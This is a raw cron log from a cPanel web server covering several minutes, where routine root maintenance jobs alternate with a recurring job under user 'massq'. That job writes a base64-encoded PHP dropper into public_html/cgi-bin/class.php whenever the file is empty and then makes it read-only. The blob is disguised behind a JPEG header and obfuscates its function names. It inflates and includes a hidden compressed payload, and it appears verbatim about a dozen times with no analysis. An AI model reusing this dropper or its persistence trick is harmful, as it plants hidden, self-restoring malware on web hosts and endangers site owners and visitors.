Sep  3 19:40:01 server CROND[14038]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:41:01 server CROND[14976]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:41:01 server CROND[14977]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:41:01 server CROND[14978]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:42:01 server CROND[15352]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 19:42:01 server CROND[15353]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:42:01 server CROND[15354]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:42:01 server CROND[15355]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:43:01 server CROND[15742]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:43:01 server CROND[15743]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:43:01 server CROND[15744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:44:01 server CROND[16116]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:44:01 server CROND[16117]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:44:01 server CROND[16118]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:45:02 server CROND[16503]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 19:45:02 server CROND[16504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:45:02 server CROND[16510]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:45:02 server CROND[16512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:45:02 server CROND[16509]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 19:45:02 server CROND[16514]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 19:45:02 server CROND[16511]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 19:46:01 server CROND[17423]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:46:01 server CROND[17424]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:46:01 server CROND[17425]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:47:01 server CROND[17796]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:47:01 server CROND[17797]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:47:01 server CROND[17798]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:48:01 server CROND[18211]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:48:01 server CROND[18212]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:48:01 server CROND[18210]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:49:01 server CROND[18594]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:49:01 server CROND[18595]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:49:01 server CROND[18597]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:50:01 server CROND[18980]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 19:50:01 server CROND[18983]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 19:50:01 server CROND[18986]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 19:50:01 server CROND[18987]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 19:50:01 server CROND[18989]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 19:50:01 server CROND[18988]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:50:01 server CROND[18990]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:50:01 server CROND[18984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:50:01 server CROND[18985]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 19:51:01 server CROND[19920]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:51:01 server CROND[19921]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:51:01 server CROND[19922]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:52:01 server CROND[20307]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 19:52:01 server CROND[20306]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 19:52:01 server CROND[20308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 19:53:01 server CROND[20694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
